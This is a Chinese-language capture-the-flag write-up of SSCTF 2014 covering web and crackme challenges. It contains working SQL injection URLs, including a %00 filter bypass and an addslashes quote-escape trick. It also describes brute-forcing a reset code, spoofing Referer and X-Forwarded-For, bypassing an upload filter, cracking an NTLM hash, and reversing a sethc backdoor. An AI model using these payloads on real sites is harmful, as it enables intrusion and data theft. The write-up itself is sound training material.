SSCTF Writeup

wyzsk發表於2020-08-19

Ano_Tom · 2014/11/04 14:26

0x01 Web


1.web1-資訊獲取

Url:http://ctf.sobug.com/hack_game/e82b2db876111afd/index.php Point:100

Description: 獲取資訊,提交key

enter image description here

Proceess:

開啟題目,title為hex和cookie,下載圖片載入編輯器,找到如下hex

23696E636C7564652066696C653D22386630306232303465393830303939382E70687022
複製程式碼

解碼為include file="8f00b204e9800998.php",訪問該頁面,檢視cookie,獲得base64加密的key 如圖

enter image description here

enter image description here

解密即可。

Key:[email protected]}

2.web2-慧眼識珠

Url: http://ctf.sobug.com/hack_game/5220de5ab2a8ce7d/index.html

Point: 100

Description: 仔細檢視頁面,獲取key

enter image description here

Proceess:

訪問,檢視到cookie裡有check=0,因而想構造check=1的cookie,構造完畢後繼續訪問發現頁面仍未變化。 繼續檢視後發現當前頁面為index.html,裡面的一段加密的js程式碼解密後就為check=0,再無其他資料。修改cookie後嘗試需訪問其他動態頁面,訪問index.php後響應中返回key,如圖

enter image description here

Key: [email protected]}

3.web3-資料&暗語

Url:http://ctf.sobug.com/hack_game/f31c5630b00b0131/index.php

Point:150

Description: 仔細檢視頁面獲取你想要的key

enter image description here

Proceess:

開啟後,檢視原始碼提示referer&code,圖片中描述去官網看看,確定referer應為官網Referer:http://www.seclover.com( 注意請求頭裡若在末尾加了/不會出結果的,Referer:http://www.seclover.com/) 構造referer後,訪問獲得的響應內容如下

enter image description here

諾基亞的鍵盤結果如下

enter image description here

2abc 3def 4ghi 5jkl 6mno 7pqrs 8tuv 9wxyz 0空格
複製程式碼

根據0分割資料

843 0 539 0 47 0 73256837 0 9352663 0 968
複製程式碼

猜出前幾個個為the key is,因而確定為有意義的單詞,無需做詞頻統計之類的。最終獲得的解密字元為the key is seclover welcome you

Key:{seclover welcome you}

4.web4-代理和搜尋

Url:http://ctf.sobug.com/hack_game/390532fb5dc7f219/index.php

Point:150

Description: 仔細檢視頁面,度娘知道答案喲

enter image description here

Proceess:

通過題目中谷歌是檢索不到的,得知存在robots.txt檔案,訪問獲得裡面的disallow目錄User-agent: * Disallow: /S$cL0ver/ Disallow: /include/

訪問/S$cL0ver/

enter image description here

根據說明,測試代理訪問,本地設定X-Forwarded-For為www.seclover.com訪問,獲得您的ip為www.seclover.com 得知其ip獲取是利用X-Forwarded-For,修改其為www.seclover.com的ip,訪問即可獲得key

enter image description here

Key:{S2CloveRWelcomE_Y0u}

5.web5-程式設計&指令碼

Url:http://ctf.sobug.com/hack_game/f8495eeedb8e92ee/index.php

Point:200

Description: 程式設計解決問題

enter image description here

Proceess:

Burp抓包可以看到響應頭中有個password欄位

enter image description here

每次請求都會變化,這樣只要寫個自動化指令碼抓取後自動提交就可以了,指令碼如下

enter image description here

跑起來就可以得到key:

enter image description here

Key: {b7mIfekXA5lwLq}

6.web6-windows密碼

Url:http://ctf.sobug.com/hack_game/1ffd89ff6c2a0012/index.php

Point:150

Description: windows密碼機制

enter image description here

Proceess:

下載得到兩張圖片,進行處理 用stegdetect進行處理,發現利用outguess加密演算法,隱藏的資料,根據提示是windows弱口令,試了幾次成功讀取 如圖

enter image description here

檢視key檔案,得到windows的ntml雜湊

ed6c3eb3f56395a1f76ccb47241e3d88:0816f03b51a8ea50bcc7707896c93518
複製程式碼

you can guess.what's this? http://www.objectif-securite.ch/ophcrack.php破解得到key wangke1234 Key:{wangke1234}

7.web7-獲取後臺密碼

Url:http://ctf.sobug.com/hack_game/76412c649fb21553/index.php

Point:220

Description: 獲取後臺密碼

enter image description here

Proceess:

有驗證碼,檢視驗證碼是否存在繞過,此處的邏輯漏洞為找回密碼功能,點開忘記密碼,提示四位驗證碼已傳送到您手機, 因而暴力猜解驗證碼即可。擷取請求包,載入burpsuite intruder,設定payloads為0000-9999進行爆破,爆破後如下

enter image description here

登入框登入成功後,彈出key

Key:{4297f44b13955235245b2497399d7a92}

8.web8-U盤病毒

Url:http://ctf.sobug.com/hack_game/eaf10b34b5ba8770/index.php

Point:300

Description: U盤病毒分析,獲取key

enter image description here

Proceess:

下載U盤映象後,解壓1.4M,果斷mount之。得到一個exe和autorun,根據autorun裡的資訊,放到windows下。 看了下是winrar的自解壓的檔案,然後用winrar開啟,得到3個檔案。如圖

enter image description here

執行1.exe解壓出一個隱藏的test.txt檔案。內容如下,計算md5提交就是flag

Key: {隊友玩星際去了,沒要到key,我代寫的}

9.web9-電報解碼

Url:http://ctf.sobug.com/hack_game/70e8ff92f2cb2576/index.php

Point:200

Description: 仔細檢視頁面獲取key

enter image description here

Proceess:

Win7訪問是如上圖的,但是linux訪問直接顯示的如下

enter image description here

根據摩斯碼錶得到明文:

xian seclover welcome you we are very happy for  you
複製程式碼

發現其是根據UA的系統進行判斷是否返回資料的

Key:{隊友玩星際去了,沒要到key,我代寫的}

10.web10-SQL

Url:http://ctf.sobug.com/hack_game/f9abf127da5264c1/index.php

Point:350

Description: 注入繞過

enter image description here

Proceess:

根據題目得知引數為id,訪問獲得如下提示

enter image description here

得知sql語句。將其載入sqlmap中可以讀取到database() version()等資訊,其利用的是盲注。此處過濾了select等字元, 且大小寫無法繞過。測試發現大致的過濾思路為,檢測到字串中有= 和select等字元,會提示Holly Shit! Damn it.但union未檢測,多次測試select用%00來繞過

enter image description here

2的位置有回顯。接下來就是基本的sql注入了 先看版本version()得知為5.5.1、再看資料庫database()為ctf0web 讀取表index.php?id=-1+union+se%00lect+1,table_name ,3+from+information_schema.tables+where+table_schema='ctf0web'# 獲得表名helloctf 讀取列名

index.php?id=-1+union+se%00lect+1,column_name,3+from+information_schema.columns+where+table_name='helloctf'#
複製程式碼

獲得列名id title flag 讀取flag index.php?id=-1+union+se%00lect+1,flag,3+from+helloctf+where+id=1# 獲得key

Key:{5e1325ba32f012c77f02c422251c3b7c}

11.web11-UPLOAD

Url:http://ctf.sobug.com/hack_game/8e3096620b9a89d1/index.php

Point:200

Description: 按題目要求完成

enter image description here

Proceess: Burp抓包,傳正常圖片,提示{不會吧,上傳圖片不好吧!至少你也傳個能解析的啊!} 但上傳php檔案無論怎麼改、截斷都是提示檔案型別錯誤,所以猜測其對content-type進行了驗證,看其是否為圖片。 此時上傳圖片改為xx.php提示上傳檔案出錯,然後利用檔名為大寫PHP繞過,如圖

enter image description here

Key:[email protected]}

12.web12-SQL

Url:http://ctf.sobug.com/hack_game/8f0784928387928a/index.php

Point:500

Description: 找找看看,有洞喲

enter image description here

Proceess:

得知為一部落格系統,大致探測了下目錄結構與檔案,收穫如下

/config.php
/content.php
/content/2014060212.txt
/content/2014061201.txt
/content/2014060901.txt
/admin/check.php
/admin/index.php
/admin/index.html
複製程式碼

Content.php檔案通過file引數傳入檔名(不帶字尾),首先想到檔案包含漏洞。 訪問 http://ctf.sobug.com/hack_game/8f0784928387928a/content.php?file=2014061201

enter image description here

而該檔案為

enter image description here

因而可以確認其不是檔案包含,而是檔案讀取。因而想構造引數讀取confi.php裡的內容。多次測試發現傳入字元會提示日期錯誤,傳入file=2014061202000000一個超長資料,提示伺服器內部500錯誤,說明過了日期檢測函式;傳入file=2014061202000000../提示日期格式不對,傳入file=0xabcdef123提示伺服器內部500錯誤。多次測試發現無法繞過其日期檢測函式。

將注意力放在admin的登入框裡,有驗證碼,輸入帳號錯誤會提示不存在該帳號,測試了多個常用管理帳號後依然提示帳號不存在,由於題目是SQL,因而考慮到是sql注入,測試了多次後,發現注入應該不在登入框處。

點開搜尋框,url為search.php?word=&tongpeifu=*&sqltongpei=% 顯示結果如下

enter image description here

根據url引數命名方式,確定此處應該是注入點了,就是如何構造語句了。 通過搜尋

search.php?word=l&tongpeifu=*&sqltongpei=%
search.php?word=x&tongpeifu=*&sqltongpei=%
複製程式碼

都能返回linux的搜尋結果,從而確定sql執行的語句大致為

Select * from articles where title like ‘%word%’
複製程式碼

然後需要弄清楚tongpeifu與sqltongpei以及word三者之間是個怎樣的邏輯關係

預設三個引數都不傳word=&tongpeifu=&sqltongpei=,返回所有資料 傳入/search.php?word=li?ux&tongpeifu=?&sqltongpei= 發現沒有回顯內容,如圖

enter image description here

提交search.php?word=li?ux&tongpeifu=?&sqltongpei=n 獲得回顯

enter image description here

因而大致確定程式的邏輯tongpeifu是指word中的,在執行sql語句時候將word中tongpeifu代表位置用sqltongpei替換。 邏輯清晰了,下面就是要構造sql語句進行注入。構造恆成立語句檢視

search.php?word=*&tongpeifu=*&sqltongpei=n%' and 1=1 and '%'='
複製程式碼

發現並無返回資料,多次測試仍無果。

猜測是單引號被轉義了,檢視了php版本為5.5預設無gpc,則考慮到可能是對獲取的資料進行了addslashes處理,現在要做的就是如何繞過addslashes,使單引號逃逸出來。 本地測試。

其實word tongpeifu sqltongpei的處理邏輯,在php中實現就是一個str_replace函式。

構造本地測試的程式碼為 先檢視addslashes的處理單引號、雙引號、反斜線、空字元 測試程式碼

<?php
//addslashes處理的內容有'、\、"、NULL四個字元
if (isset($_GET['singleq'])) {
    echo "' -----> ".addslashes($_GET['singleq'])."<br/>";
}
if (isset($_GET['doubleq'])) {
    echo "\" -----> ".addslashes($_GET['doubleq'])."<br/>";
}
if (isset($_GET['backslash'])) {
    echo "\\ -----> ".addslashes($_GET['backslash'])."<br/>";
}
if (isset($_GET['null'])) {
    echo "%00 -----> ".addslashes($_GET['null'])."<br/>";
}
//sql test
$word=addslashes($_GET['word']);
$tongpeifu=addslashes($_GET['tongpeifu']);
$sqltongpei=addslashes($_GET['sqltongpei']);
echo $word."<br/>";
echo $tongpeifu."<br/>";
echo $sqltongpei."<br/>";
$result=str_replace($tongpeifu, $sqltongpei, $word);
echo "sql--query:"."select title from articles where title like '%{$result}%'"."<br/>";
複製程式碼

輸出為

enter image description here

有沒有很熟悉,echsop之前爆過的一個外掛注入也是類似,利用替換,將單引號逃逸出來 仔細想想,該怎樣進行替換,才會使單引號逃逸出來? 首先在word中測試,另外兩個引數為空,檢視輸出

enter image description here

Word中的\ ‘ %00中的反斜線都是成對出現的,所以要想使得單引號逃逸出來,必須使得其前面的\被轉義, 那萬用字元該用哪個進行替換呢,使得萬用字元分別為’或\或%00,時候,其替換的時候也為成對替換,因為其自身也被轉義了。

enter image description here

但是將萬用字元變為\0檢視輸出

enter image description here

令sqltongpeif=\ 輸出檢視,單引號逃逸

enter image description here

然後執行常規的查庫、查表、讀取flag。 Order by判斷有4個欄位, 查到資料庫為sql_seclover 請求為

search.php?word=l\%00' union select 1,schema_name,3,4 from information_schema.schemata where 1 %23&tongpeifu=\0&sqltongpei=\
複製程式碼

查表有content、admin(裡面無資料,因而後臺登入是虛設?)、secret 請求為

search.php?word=l\%00' union select 1,table_name,3,4 from information_schema.tables where table_schema=0x73716C5F7365636C6F766572 %23&tongpeifu=\0&sqltongpei=\
複製程式碼

查欄位sid skey 請求為

search.php?word=l\%00' union select 1,column_name,3,4 from information_schema.columns where table_name=0x736563726574 %23&tongpeifu=\0&sqltongpei=\
複製程式碼

獲得key{Seclover [email protected] ^u0} 請求為

search.php?word=l\%00' union select 1,skey,3,4 from secret where 1 %23&tongpeifu=\0&sqltongpei=\
複製程式碼

Key:{Seclover [email protected] ^u0}

0x02 Crack


1.crack1-Crackme1

Url:http://ctf.sobug.com/crackme/b4dc971ef90cb6ae/index.php

Point:100

Proceess:

拖到ida中,邏輯很簡單。 找到關鍵函式sub_401000,分析。 看了下就是和unk_408030位置的數字進行一系列抑或,而且是簡單的抑或。所以這個不用逆演算法就行,直接上od。 轉到0x401000處,在程式結束的地方下斷點,執行程式。成功斷下後,直接在棧上可以看到註冊碼,如圖。

enter image description here

enter image description here

enter image description here

2.Crack2-Crackme2

Url:http://ctf.sobug.com/crackme/82a7d5ac894e5bb8/index.php Point:200

Process:

一個易語言寫的程式~ OD載入,ALT+M, 在crackme.data段F2下斷,F9執行

enter image description here

中斷在krnln庫檔案程式碼裡,F8單步過下面的JMP就到程式領空

enter image description here

,這時找字串,應該是有2個還是3個失敗,1個不能為空,1個成功,所有中文字串都下上斷點,分析下

enter image description here

首先隨便輸入,如果斷下來

enter image description here

判斷密碼是不是32位的 生成正確註冊碼

enter image description here

F9重新執行,在上面的那個函式斷下後,看棧裡,下面的那個就是正確的註冊碼

enter image description here

3.Crack3-Crackme3

Url:http://ctf.sobug.com/crackme/e26cac7bac3f78c1/index.php

Point:300

Process:

分析個sethc.exe 貼上鍵後門。 直接看訊息處理的地方吧

enter image description here

1那個地方是判斷ecx是不是為0x30,這個地方是滑鼠的點選次數,下面會有分析

2 那個地方是判斷按的是確定還是取消,確定是1,取消是2

enter image description here

繼續往下看

enter image description here

點選滑鼠左鍵右鍵都會讓ecx+1,左鍵在403070處寫入0x4c,右鍵寫入0x52 到滿足ecx==0x30的時候,會來到00401C40這個地方判斷滑鼠點選的那48下的具體情況; 下面這個迴圈,將0x4c對應一個0,0x52對應一個1,48下轉化為6位元組

enter image description here

下面那個比較的地方,那6個位元組和“查水錶”的HEX值比較

enter image description here

enter image description here

比較一樣就可以啟動“後門”彈出本題的flag:D27789EFCA409B6B6EE297D412334A65 所以把“查水錶”的2進位制轉化出來,就可以確定滑鼠左鍵右鍵點選的次序,觸發“後門”。

4.Crack4-Crackme4

Url:http://ctf.sobug.com/crackme/820af53738bfa68e/index.php Point:400 Process: 提示為:輸入正確的密碼,會釋放出檔案。key就在檔案中。 tips:第一層密碼為6為純數字,第二層密碼也是6位。 拿到程式後,放入PEID

enter image description here

FSG的殼,脫殼後發現裡面有檔案讓損壞,所以帶殼分動態除錯,IDA分析脫殼後的吧。

enter image description here

執行到第3行命令那,棧裡第4個位置就是程式入口。在棧中裡那個位置右鍵資料視窗中跟隨

enter image description here

然後下硬體訪問斷點,F9,然後就可以看到真正的程式碼了 先看401370函式吧,這個是對結果的處理函式,等下分析的時候需要用到,輸入的引數為數字,然後6種情況

enter image description here

然後IDA的F5看

enter image description here

為空沒有輸入密碼,不為空進入4013E0處理~ 下面這個函式,當我脫殼後會返回錯誤5,所以帶殼分析了••

enter image description here

進去看下,當返回成0的時候為正確,那麼就會生成檔案,如果返回2,是密碼錯誤。 裡面有把你的密碼經過sprintf和“HOWHP”連線在一起,經過401000的2次加密,和一個特定的hash對比。 根據我的那個方法跟一下就OK了,然後需要獲得的hash如下 esi=0018F9F0, (ASCII "09B2F924C20C5CA427EED2C5B98BEFBF")

enter image description here

需要加密後的hash為 第一步,我採取的爆破,提示說是第一個密碼是6位純數字,程式碼在附件裡。如果有附件~~ 爆破出來是564987

enter image description here

然後生成了一個一樣的exe,同樣加殼。只是最後生成的檔案會不一樣。這個的密碼提示為6位,但是不一定是純數字了,我一開始直接拿第一步寫的程式跑了下純數字,果然不行,然後就去看程式,修改指令,看看會生成什麼,結果發現生成了個gif 馬上想到GIF89a 6位,也許可以推算出來key 在401270函式裡是寫檔案的,呼叫了40110把你輸入的key和原有資源做運算

enter image description here

看看演算法

enter image description here

異或操作,果然可以! 我使用的密碼是123456 然後使用爆破的方法讓邏輯正確,會生成一個***|||||||.gif的檔案 然後你winhex開啟生成的gif,比如第一個位元組為0x01,然後G的hex值為0x47 使用 chr(0x31^0x01^'0x47') #python 就能得正確key的第一個字母,一次下去,GIF89a,就可以得到正確的key 輸入正確的key,解密出來一個gif,開啟就是flag.

5.Crack5-Crackme5

Url:http://ctf.sobug.com/crackme/02de861ff6b52930/index.php

Point:500

Process:

1:拿到程式後,首先看了字串

enter image description here

enter image description here

有反除錯,根據那些int3,很明顯是seh反除錯,打亂程式的執行流程,導致定位關鍵函式帶來困難行流程。 2:來到跟進異常處理,來到

enter image description here

下面的這個地方判斷是不是int3引起的異常,是就往下執行,不是就返回EXCEPTION_CONTINUE_SEARCH

enter image description here

這個地方,設定EIP

enter image description here

來我們看看edx的值

enter image description here

也是int3,帶著疑惑,繼續看~~ 多試幾次後,EDX在不斷增大~ 最後10多次後,發現了不是int3的情況

enter image description here

enter image description here

進一步的跟蹤,發現是用異常處理例程是沒隔10次左右的INT3異常對應一條MSAM語句,所有的語句整合起來,也就是註冊碼的演算法了~ 此外UnhandledExceptionFilter在沒有debugger attach的時候才會被呼叫。所以,跟蹤起來很困難。 選擇設定條件記錄斷點

enter image description here

enter image description here

整理後

enter image description here

根據結果就可以分析演算法了。最後做出序號產生器,提交OK~ 附上原始碼和一個可以執行的賬號~ 請注意:序號產生器的輸出倒過來才是正確的註冊碼,然後使用者名稱和註冊碼不能相同,不想改了,注意下就好

v_dature 536426
複製程式碼

enter image description here

相關文章